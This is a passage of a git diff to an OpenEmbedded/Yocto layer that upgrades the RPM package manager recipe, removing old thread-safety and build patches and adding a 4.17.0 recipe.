++[error: /data/keys/CVE-2021-3521-nosubsig-last.asc: key 1 import failed.]
++)
++AT_CLEANUP
++
+ # ------------------------------
+ # Test pre-built package verification
+ AT_SETUP([rpmkeys -Kv <unsigned> 1])
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/rpm/files/0003-rpmstrpool.c-make-operations-over-string-pools-threa.patch b/meta/recipes-devtools/rpm/files/0003-rpmstrpool.c-make-operations-over-string-pools-threa.patch
deleted file mode 100644
index c348ae5330..0000000000
--- a/meta/recipes-devtools/rpm/files/0003-rpmstrpool.c-make-operations-over-string-pools-threa.patch
+++ /dev/null
@@ -1,207 +0,0 @@
-From c80892f17e44331206c8318d53b63bb6a99554d0 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 30 May 2017 13:58:30 +0300
-Subject: [PATCH 3/4] rpmstrpool.c: make operations over string pools
- thread-safe
-
-Otherwise multithreaded rpm building explodes in various ways due
-to data races.
-
-Upstream-Status: Submitted [https://github.com/rpm-software-management/rpm/pull/226]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- rpmio/rpmstrpool.c | 56 +++++++++++++++++++++++++++++++++++++++++++++---------
- 1 file changed, 47 insertions(+), 9 deletions(-)
-
-diff --git a/rpmio/rpmstrpool.c b/rpmio/rpmstrpool.c
-index 30a57eb10..58ba95a02 100644
---- a/rpmio/rpmstrpool.c
-+++ b/rpmio/rpmstrpool.c
-@@ -113,6 +113,8 @@ static poolHash poolHashCreate(int numBuckets)
- return ht;
- }
-
-+static const char * rpmstrPoolStrNoLock(rpmstrPool pool, rpmsid sid);
-+
- static void poolHashResize(rpmstrPool pool, int numBuckets)
- {
- poolHash ht = pool->hash;
-@@ -120,7 +122,7 @@ static void poolHashResize(rpmstrPool pool, int numBuckets)
-
- for (int i=0; i<ht->numBuckets; i++) {
- if (!ht->buckets[i].keyid) continue;
-- unsigned int keyHash = rstrhash(rpmstrPoolStr(pool, ht->buckets[i].keyid));
-+ unsigned int keyHash = rstrhash(rpmstrPoolStrNoLock(pool, ht->buckets[i].keyid));
- for (unsigned int j=0;;j++) {
- unsigned int hash = hashbucket(keyHash, j) % numBuckets;
- if (!buckets[hash].keyid) {
-@@ -149,7 +151,7 @@ static void poolHashAddHEntry(rpmstrPool pool, const char * key, unsigned int ke
- ht->buckets[hash].keyid = keyid;
- ht->keyCount++;
- break;
-- } else if (!strcmp(rpmstrPoolStr(pool, ht->buckets[hash].keyid), key)) {
-+ } else if (!strcmp(rpmstrPoolStrNoLock(pool, ht->buckets[hash].keyid), key)) {
- return;
- }
- }
-@@ -191,7 +193,7 @@ static void poolHashPrintStats(rpmstrPool pool)
- int maxcollisions = 0;
-
- for (i=0; i<ht->numBuckets; i++) {
-- unsigned int keyHash = rstrhash(rpmstrPoolStr(pool, ht->buckets[i].keyid));
-+ unsigned int keyHash = rstrhash(rpmstrPoolStrNoLock(pool, ht->buckets[i].keyid));
- for (unsigned int j=0;;j++) {
- unsigned int hash = hashbucket(keyHash, i) % ht->numBuckets;
- if (hash==i) {
-@@ -221,7 +223,7 @@ static void rpmstrPoolRehash(rpmstrPool pool)
-
- pool->hash = poolHashCreate(sizehint);
- for (int i = 1; i <= pool->offs_size; i++)
-- poolHashAddEntry(pool, rpmstrPoolStr(pool, i), i);
-+ poolHashAddEntry(pool, rpmstrPoolStrNoLock(pool, i), i);
- }
-
- rpmstrPool rpmstrPoolCreate(void)
-@@ -245,6 +247,8 @@ rpmstrPool rpmstrPoolCreate(void)
-
- rpmstrPool rpmstrPoolFree(rpmstrPool pool)
- {
-+ #pragma omp critical(rpmstrpool)
-+ {
- if (pool) {
- if (pool->nrefs > 1) {
- pool->nrefs--;
-@@ -260,18 +264,24 @@ rpmstrPool rpmstrPoolFree(rpmstrPool pool)
- free(pool);
- }
- }
-+ }
- return NULL;
- }
-
- rpmstrPool rpmstrPoolLink(rpmstrPool pool)
- {
-+ #pragma omp critical(rpmstrpool)
-+ {
- if (pool)
- pool->nrefs++;
-+ }
- return pool;
- }
-
- void rpmstrPoolFreeze(rpmstrPool pool, int keephash)
- {
-+ #pragma omp critical(rpmstrpool)
-+ {
- if (pool && !pool->frozen) {
- if (!keephash) {
- pool->hash = poolHashFree(pool->hash);
-@@ -281,16 +291,20 @@ void rpmstrPoolFreeze(rpmstrPool pool, int keephash)
- pool->offs_alloced * sizeof(*pool->offs));
- pool->frozen = 1;
- }
-+ }
- }
-
- void rpmstrPoolUnfreeze(rpmstrPool pool)
- {
-+ #pragma omp critical(rpmstrpool)
-+ {
- if (pool) {
- if (pool->hash == NULL) {
- rpmstrPoolRehash(pool);
- }
- pool->frozen = 0;
- }
-+ }
- }
-
- static rpmsid rpmstrPoolPut(rpmstrPool pool, const char *s, size_t slen, unsigned int hash)
-@@ -350,7 +364,7 @@ static rpmsid rpmstrPoolGet(rpmstrPool pool, const char * key, size_t keylen,
- return 0;
- }
-
-- s = rpmstrPoolStr(pool, ht->buckets[hash].keyid);
-+ s = rpmstrPoolStrNoLock(pool, ht->buckets[hash].keyid);
- /* pool string could be longer than keylen, require exact matche */
- if (strncmp(s, key, keylen) == 0 && s[keylen] == '\0')
- return ht->buckets[hash].keyid;
-@@ -373,27 +387,31 @@ static inline rpmsid strn2id(rpmstrPool pool, const char *s, size_t slen,
- rpmsid rpmstrPoolIdn(rpmstrPool pool, const char *s, size_t slen, int create)
- {
- rpmsid sid = 0;
--
-+ #pragma omp critical(rpmstrpool)
-+ {
- if (s != NULL) {
- unsigned int hash = rstrnhash(s, slen);
- sid = strn2id(pool, s, slen, hash, create);
- }
-+ }
- return sid;
- }
-
- rpmsid rpmstrPoolId(rpmstrPool pool, const char *s, int create)
- {
- rpmsid sid = 0;
--
-+ #pragma omp critical(rpmstrpool)
-+ {
- if (s != NULL) {
- size_t slen;
- unsigned int hash = rstrlenhash(s, &slen);
- sid = strn2id(pool, s, slen, hash, create);
- }
-+ }
- return sid;
- }
-
--const char * rpmstrPoolStr(rpmstrPool pool, rpmsid sid)
-+static const char * rpmstrPoolStrNoLock(rpmstrPool pool, rpmsid sid)
- {
- const char *s = NULL;
- if (pool && sid > 0 && sid <= pool->offs_size)
-@@ -401,12 +419,25 @@ const char * rpmstrPoolStr(rpmstrPool pool, rpmsid sid)
- return s;
- }
-
-+const char * rpmstrPoolStr(rpmstrPool pool, rpmsid sid)
-+{
-+ const char *s = NULL;
-+ #pragma omp critical(rpmstrpool)
-+ {
-+ s = rpmstrPoolStrNoLock(pool, sid);
-+ }
-+ return s;
-+}
-+
- size_t rpmstrPoolStrlen(rpmstrPool pool, rpmsid sid)
- {
- size_t slen = 0;
-+ #pragma omp critical(rpmstrpool)
-+ {
- if (pool && sid > 0 && sid <= pool->offs_size) {
- slen = strlen(pool->offs[sid]);
- }
-+ }
- return slen;
- }
-
-@@ -421,5 +452,12 @@ int rpmstrPoolStreq(rpmstrPool poolA, rpmsid sidA,
-
- rpmsid rpmstrPoolNumStr(rpmstrPool pool)
- {
-- return (pool != NULL) ? pool->offs_size : 0;
-+ rpmsid id = 0;
-+ #pragma omp critical(rpmstrpool)
-+ {
-+ if (pool) {
-+ id = pool->offs_size;
-+ }
-+ }
-+ return id;
- }
---
-2.11.0
-
diff --git a/meta/recipes-devtools/rpm/files/0004-build-pack.c-remove-static-local-variables-from-buil.patch b/meta/recipes-devtools/rpm/files/0004-build-pack.c-remove-static-local-variables-from-buil.patch
deleted file mode 100644
index 652e30b3e4..0000000000
--- a/meta/recipes-devtools/rpm/files/0004-build-pack.c-remove-static-local-variables-from-buil.patch
+++ /dev/null
@@ -1,336 +0,0 @@
-From 792693bb90768cfde4898e8dd31ee1b5de803d2f Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 8 Jun 2017 17:08:09 +0300
-Subject: [PATCH] build/pack.c: remove static local variables from buildHost()
- and getBuildTime()
-
-Their use is causing difficult to diagnoze data races when building multiple
-packages in parallel, and is a bad idea in general, as it also makes it more
-difficult to reason about code.
-
-Upstream-Status: Submitted [https://github.com/rpm-software-management/rpm/pull/226]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- build/build.c | 54 ++++++++++++++++++++++++++++--
- build/pack.c | 84 +++++++++--------------------------------------
- build/rpmbuild_internal.h | 8 +++--
- 3 files changed, 74 insertions(+), 72 deletions(-)
-
-diff --git a/build/build.c b/build/build.c
-index 13c3df2..b154f08 100644
---- a/build/build.c
-+++ b/build/build.c
-@@ -6,6 +6,8 @@
- #include "system.h"
-
- #include <errno.h>
-+#include <netdb.h>
-+#include <time.h>
- #include <sys/wait.h>
-
- #include <rpm/rpmlog.h>
-@@ -16,6 +18,50 @@
-
- #include "debug.h"
-
-+static rpm_time_t getBuildTime(void)
-+{
-+ rpm_time_t buildTime = 0;
-+ char *srcdate;
-+ time_t epoch;
-+ char *endptr;
-+
-+ srcdate = getenv("SOURCE_DATE_EPOCH");
-+ if (srcdate) {
-+ errno = 0;
-+ epoch = strtol(srcdate, &endptr, 10);
-+ if (srcdate == endptr || *endptr || errno != 0)
-+ rpmlog(RPMLOG_ERR, _("unable to parse SOURCE_DATE_EPOCH\n"));
-+ else
-+ buildTime = (int32_t) epoch;
-+ } else
-+ buildTime = (int32_t) time(NULL);
-+
-+ return buildTime;
-+}
-+
-+static char * buildHost(void)
-+{
-+ char* hostname;
-+ struct hostent *hbn;
-+ char *bhMacro;
-+
-+ bhMacro = rpmExpand("%{?_buildhost}", NULL);
-+ if (strcmp(bhMacro, "") != 0) {
-+ rasprintf(&hostname, "%s", bhMacro);
-+ } else {
-+ hostname = rcalloc(1024, sizeof(*hostname));
-+ (void) gethostname(hostname, 1024);
-+ hbn = gethostbyname(hostname);
-+ if (hbn)
-+ strcpy(hostname, hbn->h_name);
-+ else
-+ rpmlog(RPMLOG_WARNING,
-+ _("Could not canonicalize hostname: %s\n"), hostname);
-+ }
-+ free(bhMacro);
-+ return(hostname);
-+}
-+
- /**
- */
- static rpmRC doRmSource(rpmSpec spec)
-@@ -201,6 +247,9 @@ static rpmRC buildSpec(BTA_t buildArgs, rpmSpec spec, int what)
- rpmRC rc = RPMRC_OK;
- int test = (what & RPMBUILD_NOBUILD);
- char *cookie = buildArgs->cookie ? xstrdup(buildArgs->cookie) : NULL;
-+ const char* host = buildHost();
-+ rpm_time_t buildTime = getBuildTime();
-+
-
- if (rpmExpandNumeric("%{?source_date_epoch_from_changelog}") &&
- getenv("SOURCE_DATE_EPOCH") == NULL) {
-@@ -269,11 +318,11 @@ static rpmRC buildSpec(BTA_t buildArgs, rpmSpec spec, int what)
- goto exit;
-
- if (((what & RPMBUILD_PACKAGESOURCE) && !test) &&
-- (rc = packageSources(spec, &cookie)))
-+ (rc = packageSources(spec, &cookie, buildTime, host)))
- goto exit;
-
- if (((what & RPMBUILD_PACKAGEBINARY) && !test) &&
-- (rc = packageBinaries(spec, cookie, (didBuild == 0))))
-+ (rc = packageBinaries(spec, cookie, (didBuild == 0), buildTime, host)))
- goto exit;
-
- if ((what & RPMBUILD_CLEAN) &&
-@@ -293,6 +342,7 @@ static rpmRC buildSpec(BTA_t buildArgs, rpmSpec spec, int what)
- (void) unlink(spec->specFile);
-
- exit:
-+ free(host);
- free(cookie);
- spec->rootDir = NULL;
- if (rc != RPMRC_OK && rpmlogGetNrecs() > 0) {
-diff --git a/build/pack.c b/build/pack.c
-index df15876..17a4b09 100644
---- a/build/pack.c
-+++ b/build/pack.c
-@@ -6,8 +6,6 @@
- #include "system.h"
-
- #include <errno.h>
--#include <netdb.h>
--#include <time.h>
- #include <sys/wait.h>
-
- #include <rpm/rpmlib.h> /* RPMSIGTAG*, rpmReadPackageFile */
-@@ -152,57 +150,6 @@ exit:
- return rc;
- }
-
--static rpm_time_t * getBuildTime(void)
--{
-- static rpm_time_t buildTime[1];
-- char *srcdate;
-- time_t epoch;
-- char *endptr;
--
-- if (buildTime[0] == 0) {
-- srcdate = getenv("SOURCE_DATE_EPOCH");
-- if (srcdate) {
-- errno = 0;
-- epoch = strtol(srcdate, &endptr, 10);
-- if (srcdate == endptr || *endptr || errno != 0)
-- rpmlog(RPMLOG_ERR, _("unable to parse SOURCE_DATE_EPOCH\n"));
-- else
-- buildTime[0] = (int32_t) epoch;
-- } else
-- buildTime[0] = (int32_t) time(NULL);
-- }
--
-- return buildTime;
--}
--
--static const char * buildHost(void)
--{
-- static char hostname[1024];
-- static int oneshot = 0;
-- struct hostent *hbn;
-- char *bhMacro;
--
-- if (! oneshot) {
-- bhMacro = rpmExpand("%{?_buildhost}", NULL);
-- if (strcmp(bhMacro, "") != 0 && strlen(bhMacro) < 1024) {
-- strcpy(hostname, bhMacro);
-- } else {
-- if (strcmp(bhMacro, "") != 0)
-- rpmlog(RPMLOG_WARNING, _("The _buildhost macro is too long\n"));
-- (void) gethostname(hostname, sizeof(hostname));
-- hbn = gethostbyname(hostname);
-- if (hbn)
-- strcpy(hostname, hbn->h_name);
-- else
-- rpmlog(RPMLOG_WARNING,
-- _("Could not canonicalize hostname: %s\n"), hostname);
-- }
-- free(bhMacro);
-- oneshot = 1;
-- }
-- return(hostname);
--}
--
- static rpmRC processScriptFiles(rpmSpec spec, Package pkg)
- {
- struct TriggerFileEntry *p;
-@@ -476,7 +423,8 @@ exit:
- * order to how the RPM format is laid on disk.
- */
- static rpmRC writeRPM(Package pkg, unsigned char ** pkgidp,
-- const char *fileName, char **cookie)
-+ const char *fileName, char **cookie,
-+ rpm_time_t buildTime, const char* buildHost)
- {
- FD_t fd = NULL;
- char * rpmio_flags = NULL;
-@@ -500,7 +448,7 @@ static rpmRC writeRPM(Package pkg, unsigned char ** pkgidp,
-
- /* Create and add the cookie */
- if (cookie) {
-- rasprintf(cookie, "%s %d", buildHost(), (int) (*getBuildTime()));
-+ rasprintf(cookie, "%s %d", buildHost, buildTime);
- headerPutString(pkg->header, RPMTAG_COOKIE, *cookie);
- }
-
-@@ -641,7 +589,7 @@ static rpmRC checkPackages(char *pkgcheck)
- return RPMRC_OK;
- }
-
--static rpmRC packageBinary(rpmSpec spec, Package pkg, const char *cookie, int cheating, char** filename)
-+static rpmRC packageBinary(rpmSpec spec, Package pkg, const char *cookie, int cheating, char** filename, rpm_time_t buildTime, const char* buildHost)
- {
- const char *errorString;
- rpmRC rc = RPMRC_OK;
-@@ -660,8 +608,8 @@ static rpmRC packageBinary(rpmSpec spec, Package pkg, const char *cookie, int ch
- headerCopyTags(spec->packages->header, pkg->header, copyTags);
-
- headerPutString(pkg->header, RPMTAG_RPMVERSION, VERSION);
-- headerPutString(pkg->header, RPMTAG_BUILDHOST, buildHost());
-- headerPutUint32(pkg->header, RPMTAG_BUILDTIME, getBuildTime(), 1);
-+ headerPutString(pkg->header, RPMTAG_BUILDHOST, buildHost);
-+ headerPutUint32(pkg->header, RPMTAG_BUILDTIME, &buildTime, 1);
-
- if (spec->sourcePkgId != NULL) {
- headerPutBin(pkg->header, RPMTAG_SOURCEPKGID, spec->sourcePkgId,16);
-@@ -699,7 +647,7 @@ static rpmRC packageBinary(rpmSpec spec, Package pkg, const char *cookie, int ch
- free(binRpm);
- }
-
-- rc = writeRPM(pkg, NULL, *filename, NULL);
-+ rc = writeRPM(pkg, NULL, *filename, NULL, buildTime, buildHost);
- if (rc == RPMRC_OK) {
- /* Do check each written package if enabled */
- char *pkgcheck = rpmExpand("%{?_build_pkgcheck} ", *filename, NULL);
-@@ -719,7 +667,7 @@ struct binaryPackageTaskData
- struct binaryPackageTaskData *next;
- };
-
--static struct binaryPackageTaskData* runBinaryPackageTasks(rpmSpec spec, const char *cookie, int cheating)
-+static struct binaryPackageTaskData* runBinaryPackageTasks(rpmSpec spec, const char *cookie, int cheating, rpm_time_t buildTime, char* buildHost)
- {
- struct binaryPackageTaskData *tasks = NULL;
- struct binaryPackageTaskData *task = NULL;
-@@ -731,7 +679,7 @@ static struct binaryPackageTaskData* runBinaryPackageTasks(rpmSpec spec, const c
- if (pkg == spec->packages) {
- // the first package needs to be processed ahead of others, as they copy
- // changelog data from it, and so otherwise data races would happen
-- task->result = packageBinary(spec, pkg, cookie, cheating, &(task->filename));
-+ task->result = packageBinary(spec, pkg, cookie, cheating, &(task->filename), buildTime, buildHost);
- rpmlog(RPMLOG_NOTICE, _("Finished binary package job, result %d, filename %s\n"), task->result, task->filename);
- tasks = task;
- }
-@@ -748,7 +696,7 @@ static struct binaryPackageTaskData* runBinaryPackageTasks(rpmSpec spec, const c
- if (task != tasks)
- #pragma omp task
- {
-- task->result = packageBinary(spec, task->pkg, cookie, cheating, &(task->filename));
-+ task->result = packageBinary(spec, task->pkg, cookie, cheating, &(task->filename), buildTime, buildHost);
- rpmlog(RPMLOG_NOTICE, _("Finished binary package job, result %d, filename %s\n"), task->result, task->filename);
- }
- }
-@@ -766,11 +714,11 @@ static void freeBinaryPackageTasks(struct binaryPackageTaskData* tasks)
- }
- }
-
--rpmRC packageBinaries(rpmSpec spec, const char *cookie, int cheating)
-+rpmRC packageBinaries(rpmSpec spec, const char *cookie, int cheating, rpm_time_t buildTime, char* buildHost)
- {
- char *pkglist = NULL;
-
-- struct binaryPackageTaskData *tasks = runBinaryPackageTasks(spec, cookie, cheating);
-+ struct binaryPackageTaskData *tasks = runBinaryPackageTasks(spec, cookie, cheating, buildTime, buildHost);
-
- for (struct binaryPackageTaskData *task = tasks; task != NULL; task = task->next) {
- if (task->result == RPMRC_OK) {
-@@ -797,7 +745,7 @@ rpmRC packageBinaries(rpmSpec spec, const char *cookie, int cheating)
- return RPMRC_OK;
- }
-
--rpmRC packageSources(rpmSpec spec, char **cookie)
-+rpmRC packageSources(rpmSpec spec, char **cookie, rpm_time_t buildTime, char* buildHost)
- {
- Package sourcePkg = spec->sourcePackage;
- rpmRC rc;
-@@ -805,8 +753,8 @@ rpmRC packageSources(rpmSpec spec, char **cookie)
-
- /* Add some cruft */
- headerPutString(sourcePkg->header, RPMTAG_RPMVERSION, VERSION);
-- headerPutString(sourcePkg->header, RPMTAG_BUILDHOST, buildHost());
-- headerPutUint32(sourcePkg->header, RPMTAG_BUILDTIME, getBuildTime(), 1);
-+ headerPutString(sourcePkg->header, RPMTAG_BUILDHOST, buildHost);
-+ headerPutUint32(sourcePkg->header, RPMTAG_BUILDTIME, &buildTime, 1);
- headerPutUint32(sourcePkg->header, RPMTAG_SOURCEPACKAGE, &one, 1);
-
- /* XXX this should be %_srpmdir */
-@@ -814,7 +762,7 @@ rpmRC packageSources(rpmSpec spec, char **cookie)
- char *pkgcheck = rpmExpand("%{?_build_pkgcheck_srpm} ", fn, NULL);
-
- spec->sourcePkgId = NULL;
-- rc = writeRPM(sourcePkg, &spec->sourcePkgId, fn, cookie);
-+ rc = writeRPM(sourcePkg, &spec->sourcePkgId, fn, cookie, buildTime, buildHost);
-
- /* Do check SRPM package if enabled */
- if (rc == RPMRC_OK && pkgcheck[0] != ' ') {
-diff --git a/build/rpmbuild_internal.h b/build/rpmbuild_internal.h
-index 439b7d3..07e8338 100644
---- a/build/rpmbuild_internal.h
-+++ b/build/rpmbuild_internal.h
-@@ -427,19 +427,23 @@ rpmRC processSourceFiles(rpmSpec spec, rpmBuildPkgFlags pkgFlags);
- * @param spec spec file control structure
- * @param cookie build identifier "cookie" or NULL
- * @param cheating was build shortcircuited?
-+ * @param buildTime the build timestamp that goes into packages
-+ * @param buildHost the hostname where the build is happening
- * @return RPMRC_OK on success
- */
- RPM_GNUC_INTERNAL
--rpmRC packageBinaries(rpmSpec spec, const char *cookie, int cheating);
-+rpmRC packageBinaries(rpmSpec spec, const char *cookie, int cheating, rpm_time_t buildTime, char* buildHost);
-
- /** \ingroup rpmbuild
- * Generate source package.
- * @param spec spec file control structure
- * @retval cookie build identifier "cookie" or NULL
-+ * @param buildTime the build timestamp that goes into packages
-+ * @param buildHost the hostname where the build is happening
- * @return RPMRC_OK on success
- */
- RPM_GNUC_INTERNAL
--rpmRC packageSources(rpmSpec spec, char **cookie);
-+rpmRC packageSources(rpmSpec spec, char **cookie, rpm_time_t buildTime, char* buildHost);
-
- RPM_GNUC_INTERNAL
- int addLangTag(rpmSpec spec, Header h, rpmTagVal tag,
diff --git a/meta/recipes-devtools/rpm/files/0011-Do-not-require-that-ELF-binaries-are-executable-to-b.patch b/meta/recipes-devtools/rpm/files/0011-Do-not-require-that-ELF-binaries-are-executable-to-b.patch
deleted file mode 100644
index 4ac5c38f06..0000000000
--- a/meta/recipes-devtools/rpm/files/0011-Do-not-require-that-ELF-binaries-are-executable-to-b.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 5141d50d7b3d3c209a22c53deedb4ceef014401d Mon Sep 17 00:00:00 2001
-From: Peter Kjellerstedt <pkj@axis.com>
-Date: Mon, 15 May 2017 10:21:08 +0200
-Subject: [PATCH 09/15] Do not require that ELF binaries are executable to be
- identifiable
-
-There is nothing that requires, e.g., a DSO to be executable, but it
-is still an ELF binary and should be identified as such.
-
-Upstream probably expects all ELF binaries to be marked as executable,
-but rather than imposing such a limitation for OE, allow any file to
-be identified as an ELF binary regardless of whether it is executable
-or not.
-
-Upstream-Status: Inappropriate
-Signed-off-by: Peter Kjellerstedt <peter.kjellerstedt@axis.com>
-
----
- fileattrs/elf.attr | 1 -
- 1 file changed, 1 deletion(-)
-
-diff --git a/fileattrs/elf.attr b/fileattrs/elf.attr
-index 5805dd0ee..3516f309d 100644
---- a/fileattrs/elf.attr
-+++ b/fileattrs/elf.attr
-@@ -1,4 +1,3 @@
- %__elf_provides %{_rpmconfigdir}/elfdeps --provides %{?__filter_GLIBC_PRIVATE:--filter-private}
- %__elf_requires %{_rpmconfigdir}/elfdeps --requires %{?__filter_GLIBC_PRIVATE:--filter-private}
- %__elf_magic ^(setuid,? )?(setgid,? )?(sticky )?ELF (32|64)-bit.*$
--%__elf_flags exeonly
---
-2.14.2
-
diff --git a/meta/recipes-devtools/rpm/files/environment.d-rpm.sh b/meta/recipes-devtools/rpm/files/environment.d-rpm.sh
new file mode 100644
index 0000000000..9b669a18d1
--- /dev/null
+++ b/meta/recipes-devtools/rpm/files/environment.d-rpm.sh
@@ -0,0 +1 @@
+export RPM_CONFIGDIR="$OECORE_NATIVE_SYSROOT/usr/lib/rpm"
diff --git a/meta/recipes-devtools/rpm/rpm_4.14.2.1.bb b/meta/recipes-devtools/rpm/rpm_4.14.2.1.bb
deleted file mode 100644
index c37330eb4c..0000000000
--- a/meta/recipes-devtools/rpm/rpm_4.14.2.1.bb
+++ /dev/null
@@ -1,153 +0,0 @@
-SUMMARY = "The RPM package management system"
-DESCRIPTION = "The RPM Package Manager (RPM) is a powerful command line driven \
-package management system capable of installing, uninstalling, \
-verifying, querying, and updating software packages. Each software \
-package consists of an archive of files along with information about \
-the package like its version, a description, etc."
-
-SUMMARY_${PN}-dev = "Development files for manipulating RPM packages"
-DESCRIPTION_${PN}-dev = "This package contains the RPM C library and header files. These \
-development files will simplify the process of writing programs that \
-manipulate RPM packages and databases. These files are intended to \
-simplify the process of creating graphical package managers or any \
-other tools that need an intimate knowledge of RPM packages in order \
-to function."
-
-SUMMARY_python3-rpm = "Python bindings for apps which will manupulate RPM packages"
-DESCRIPTION_python3-rpm = "The python3-rpm package contains a module that permits applications \
-written in the Python programming language to use the interface \
-supplied by the RPM Package Manager libraries."
-
-HOMEPAGE = "http://www.rpm.org"
-
-# libraries are also LGPL - how to express this?
-LICENSE = "GPL-2.0"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c0bf017c0fd1920e6158a333acabfd4a"
-
-SRC_URI = "git://github.com/rpm-software-management/rpm;branch=rpm-4.14.x \
- file://0001-Do-not-add-an-unsatisfiable-dependency-when-building.patch \
- file://0001-Do-not-read-config-files-from-HOME.patch \
- file://0001-When-cross-installing-execute-package-scriptlets-wit.patch \
- file://0001-Do-not-reset-the-PATH-environment-variable-before-ru.patch \
- file://0002-Add-support-for-prefixing-etc-from-RPM_ETCCONFIGDIR-.patch \
- file://0001-Do-not-hardcode-lib-rpm-as-the-installation-path-for.patch \
- file://0001-Fix-build-with-musl-C-library.patch \
- file://0001-Add-a-color-setting-for-mips64_n32-binaries.patch \
- file://0011-Do-not-require-that-ELF-binaries-are-executable-to-b.patch \
- file://0001-Split-binary-package-building-into-a-separate-functi.patch \
- file://0002-Run-binary-package-creation-via-thread-pools.patch \
- file://0003-rpmstrpool.c-make-operations-over-string-pools-threa.patch \
- file://0004-build-pack.c-remove-static-local-variables-from-buil.patch \
- file://0001-perl-disable-auto-reqs.patch \
- file://0001-rpm-rpmio.c-restrict-virtual-memory-usage-if-limit-s.patch \
- file://0016-rpmscript.c-change-logging-level-around-scriptlets-t.patch \
- file://0001-mono-find-provides-requires-do-not-use-monodis-from-.patch \
- "
-
-PE = "1"
-SRCREV = "4a9440006398646583f0d9ae1837dad2875013aa"
-
-S = "${WORKDIR}/git"
-
-DEPENDS = "nss libarchive db file popt xz bzip2 dbus elfutils python3"
-DEPENDS_append_class-native = " file-replacement-native bzip2-replacement-native"
-
-inherit autotools gettext pkgconfig python3native
-export PYTHON_ABI
-
-# OE-core patches autoreconf to additionally run gnu-configize, which fails with this recipe
-EXTRA_AUTORECONF_append = " --exclude=gnu-configize"
-
-EXTRA_OECONF_append = " --without-lua --enable-python"
-EXTRA_OECONF_append_libc-musl = " --disable-nls"
-
-# --sysconfdir prevents rpm from attempting to access machine-specific configuration in sysroot/etc; we need to have it in rootfs
-#
-# --localstatedir prevents rpm from writing its database to native sysroot when building images
-#
-# Disable dbus for native, so that rpm doesn't attempt to inhibit shutdown via session dbus even when plugins support is enabled.
-# Also disable plugins by default for native.
-EXTRA_OECONF_append_class-native = " --sysconfdir=/etc --localstatedir=/var --disable-plugins"
-EXTRA_OECONF_append_class-nativesdk = " --sysconfdir=/etc --localstatedir=/var --disable-plugins"
-
-BBCLASSEXTEND = "native nativesdk"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[imaevm] = "--with-imaevm,,ima-evm-utils"
-
-ASNEEDED = ""
-
-# Direct rpm-native to read configuration from our sysroot, not the one it was compiled in
-# libmagic also has sysroot path contamination, so override it
-
-WRAPPER_TOOLS = " \
- ${bindir}/rpm \
- ${bindir}/rpm2archive \
- ${bindir}/rpm2cpio \
- ${bindir}/rpmbuild \
- ${bindir}/rpmdb \
- ${bindir}/rpmgraph \
- ${bindir}/rpmkeys \
- ${bindir}/rpmsign \
- ${bindir}/rpmspec \
- ${libdir}/rpm/rpmdeps \
-"
-
-do_install_append_class-native() {
- for tool in ${WRAPPER_TOOLS}; do
- create_wrapper ${D}$tool \
- RPM_CONFIGDIR=${STAGING_LIBDIR_NATIVE}/rpm \
- RPM_ETCCONFIGDIR=${STAGING_DIR_NATIVE} \
- MAGIC=${STAGING_DIR_NATIVE}${datadir_native}/misc/magic.mgc \
- RPM_NO_CHROOT_FOR_SCRIPTS=1
- done
-}
-
-do_install_append_class-nativesdk() {
- for tool in ${WRAPPER_TOOLS}; do
- create_wrapper ${D}$tool \
- RPM_CONFIGDIR='`dirname $''realpath`'/${@os.path.relpath(d.getVar('libdir'), d.getVar('bindir'))}/rpm \
- RPM_ETCCONFIGDIR='$'{RPM_ETCCONFIGDIR-'`dirname $''realpath`'/${@os.path.relpath(d.getVar('sysconfdir'), d.getVar('bindir'))}/..} \
- MAGIC='`dirname $''realpath`'/${@os.path.relpath(d.getVar('datadir'), d.getVar('bindir'))}/misc/magic.mgc \
- RPM_NO_CHROOT_FOR_SCRIPTS=1
- done
-
- rm -rf ${D}/var
-}
-
-# Rpm's make install creates var/tmp which clashes with base-files packaging
-do_install_append_class-target() {
- rm -rf ${D}/var
-}
-
-do_install_append () {
- sed -i -e 's:${HOSTTOOLS_DIR}/::g' \
- ${D}/${libdir}/rpm/macros
-
- sed -i -e 's|/usr/bin/python|${USRBINPATH}/env ${PYTHON_PN}|' \
- ${D}${libdir}/rpm/pythondistdeps.py \
- ${D}${libdir}/rpm/python-macro-helper
-}
-
-FILES_${PN} += "${libdir}/rpm-plugins/*.so \
- "
-
-FILES_${PN}-dev += "${libdir}/rpm-plugins/*.la \
- "
-
-PACKAGES += "python3-rpm"
-PROVIDES += "python3-rpm"
-FILES_python3-rpm = "${PYTHON_SITEPACKAGES_DIR}/rpm/*"
-
-# rpm 5.x was packaging the rpm build tools separately
-RPROVIDES_${PN} += "rpm-build"
-
-RDEPENDS_${PN} = "bash perl python3-core"
-
-PACKAGE_PREPROCESS_FUNCS += "rpm_package_preprocess"
-
-# Do not specify a sysroot when compiling on a target.
-rpm_package_preprocess () {
- sed -i -e 's:--sysroot[^ ]*::g' \
- ${PKGD}/${libdir}/rpm/macros
-}
diff --git a/meta/recipes-devtools/rpm/rpm_4.17.0.bb b/meta/recipes-devtools/rpm/rpm_4.17.0.bb
new file mode 100644
index 0000000000..c392ac0db4
--- /dev/null
+++ b/meta/recipes-devtools/rpm/rpm_4.17.0.bb
@@ -0,0 +1,208 @@
+SUMMARY = "The RPM package management system"
+DESCRIPTION = "The RPM Package Manager (RPM) is a powerful command line driven \
+package management system capable of installing, uninstalling, \
+verifying, querying, and updating software packages. Each software \
+package consists of an archive of files along with information about \
+the package like its version, a description, etc."
+
+SUMMARY:${PN}-dev = "Development files for manipulating RPM packages"
+DESCRIPTION:${PN}-dev = "This package contains the RPM C library and header files. These \
+development files will simplify the process of writing programs that \
+manipulate RPM packages and databases. These files are intended to \
+simplify the process of creating graphical package managers or any \
+other tools that need an intimate knowledge of RPM packages in order \
+to function."
+
+SUMMARY:python3-rpm = "Python bindings for apps which will manupulate RPM packages"
